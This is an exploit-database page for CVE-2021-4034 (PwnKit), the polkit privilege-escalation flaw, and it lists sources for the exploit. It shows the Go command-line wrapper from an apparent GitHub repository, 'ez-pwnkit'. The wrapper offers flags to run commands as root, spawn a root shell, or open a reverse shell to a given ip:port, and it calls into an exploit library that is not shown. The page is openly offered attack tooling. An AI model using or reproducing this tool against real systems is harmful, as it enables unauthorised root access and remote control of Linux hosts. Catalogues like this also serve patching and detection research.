Exploit databaseDownload repository ZIP
GH-7e0738e5cba61b7a551a7205b7f1123d
oxdbxkxo/ez-pwnkit
Sources for CVE-2021-4034
144 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
oxdbxkxo/ez-pwnkitRevision c4d499cbcbec
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cmd/main.go
Go · 652 bytespackage main
import (
"flag"
"fmt"
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
cmd := flag.String("c", "", "Run command as root in separate process")
output := flag.Bool("o", false, "Pipe output of forked command to terminal")
shell := flag.Bool("s", false, "Spawn a root shell")
reverseShell := flag.String("r", "", "Open a reverse-shell in separate process. Format: ip:port")
flag.Parse()
var err error
if *reverseShell != "" {
ez_pwnkit.RevShell(*reverseShell)
} else if *cmd != "" {
ez_pwnkit.Command(*cmd, *output)
} else if *shell {
ez_pwnkit.Shell()
} else {
flag.Usage()
}
if err != nil {
fmt.Println(err)
}
}